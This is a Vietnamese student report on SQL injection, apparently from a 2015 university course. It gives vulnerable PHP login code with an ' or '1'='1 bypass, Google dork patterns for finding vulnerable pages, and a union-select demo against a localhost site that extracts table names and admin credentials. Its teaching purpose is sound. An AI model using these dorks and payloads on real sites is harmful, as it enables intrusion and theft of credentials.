Tải bản đầy đủ (.pdf) (14 trang)

báo cáo tấn công sql injection

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.55 MB, 14 trang )

ĐẠI HỌC QUỐC GIA TP HCM
ĐẠI HỌC CÔNG NGHỆ THÔNG TIN






Tấn Công SQL Injection





GV: Ths. Nguyễn Duy
TP HCM 04/05/2015
Nội dung:
I. Tìm về tấn công SQL Injection
II. Mục đích tấn công
III. Cơ chế tấn công
IV. Phương thức tấn công
V. Cách phòng chống
VI. Demo
VII. Tổng kết





I. Tìm về tấn công SQL Injection:
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng


của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi
của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh
SQL bất hợp pháp. SQL injection có thể cho phép những kẻ tấn công thực hiện
các thao tác, delete, insert, update,… trên cơ sở dữ liệu của ứng dụng, thậm chí
là server mà ứng dụng đó đang chạy, lỗi này thường xảy ra trên các ứng dụng
web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server,
MySQL, Oracle, DB2, Sysbase
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào
trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số
truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng.









II. Mục đích tấn công:
• Đánh cắp dữ liệu từ web server
• Thay đổi dữ liệu
• Deface website
• Backdoor








III. Cơ chế tấn công:


Cơ chế tấn công SQL injection – SQLI là cách thức tận dụng hoặc khai thác
triệt để những khuyết điểm, thiếu sót về mặt công nghệ được sử dụng để xây
dựng website, và thông thường hacker sẽ kết hợp với những lỗ hổng trong quy
trình bảo mật cơ sở dữ liệu. Nếu thành công trong việc xâm nhập này, hacker
hoàn toàn có thể mạo danh tài khoản chính thức của người sử dụng, truy cập
vào cơ sở dữ liệu và lấy cắp thông tin cá nhân. Không giống như cách làm
của DDoS, SQLI hoàn toàn có thể ngăn chặn được nếu người quản trị nhận
thức được tầm quan trọng của việc bảo mật cơ sở dữ liệu.

• Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào
<form action="" method="post">
Tài khoản: <input type="text" name=“user">
Mật khẩu: <input type="password" name=“pass">
<input type="submit“ value=“Đăng nhập”>
</form>
<?php
$user=$_POST[‘user’];
$pass=$_POST[‘pass’];
$sql=“SELECT * FROM tbl_user WHERE
user=‘$user’ && pass=‘$pass’”;
$query=mysql_query($sql);

$sql=“SELECT * FROM tbl_user WHERE
user=‘0’ or ‘1’=‘1’ ’ &&
pass=‘123456’”;
• Thông báo lỗi của hệ quản trị CSDL

– Mysql_fetch_array();
– Database query failed…
– You have an error in your SQL systax…
IV. Phương thức tấn công

Các dork ( Từ khóa tìm site bị lỗi)
index.php?id=
news.php id=
article.php?id=
games.php?id=
opinions.php?id=
pages.php?id=
prod_detail.php?id=
view.php?id=
………….


• Các bước tấn công sử dụng lệnh union select
• Kiểm tra lỗi sql injection.
• Tìm số cột mà câu truy vấn tạo ra.
• Tìm cột chứa thông tin có thể khai thác được.
• Xem phiên bản của CSDL và ngôn ngữ lập trình.
• Xác định tên bảng chứa thông tin người quản trị.
• Xác định tài khoản/mật khẩu của quản trị.
• Truy cập vào phần giành cho quản trị viên.
V. Cách phòng chống
như chúng ta đã đề cập tới tại phần trên của bài viết, SQL
Injection hoàn toàn có thể ngăn chặn được. Và 1 trong những quy tắt
không thể bỏ qua là không nên tin tưởng tuyệt đối vào bất kỳ thông tin
nào mà người sử dụng nhập vào (tương tự như tình huống chúng tôi

mô phỏng bên trên).
Và mô hình SQLI có thể dễ dàng bị ngăn chặn bởi 1 bước gọi
là Sanitization – hiểu nôm na là việc chắt lọc thông tin đầu vào – input
từ phía người dùng. Rất đơn giản, quy trình này sẽ xử lý bất kỳ ký tự
ngoặc đơn nào xuất hiện trong câu lệnh truy vân SQL.
Ví dụ cụ thể, nếu muốn tìm bản ghi “O’neil” trong cơ sở dữ liệu, thì
không thể dùng phương pháp đã mô phỏng bên trên vì dấu ' đằng sau
chữ O sẽ khiến cho cú pháp bị ngắt giữa chừng. Thay vào đó, chúng ta
có thể tách biệt ký tự đặc biệt này khỏi cơ sở dữ liệu bằng dấu \. Và
như vậy, bản ghi “O’neal” sẽ biến thành “O\’neil”.


VI. Demo
• Công cụ hỗ trợ
– Add-on hackBar.
– Web Admin Finder V2.0.
– Google.
Mục tiêu tấn công


Tìm số cột mà câu truy vấn SQL tạo ra

Xác định vị trí xảy ra lỗi
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

Xác định phiên bản ngôn ngữ lập trình
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15


Xác định tên các bảng trong CSDL
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('\n',table_name))),7,8,9,10,11,12,13,14,15
from information_schema.tables where table_schema=database()

Xác đinh các cột trong bảng tbl_user
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('\n',column_name))),7,8,9,10,11,12,13,14,15
from information_schema.columns where table_name=0x74626c5f75736572

Xác định thông tin username, password của Admin
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))),
7,8,9,10,11,12,13,14,15 from tbl_user


Password: thietkewebx.net
Tìm đường dẫn trang quản trị



Kết quả demo thành công !

×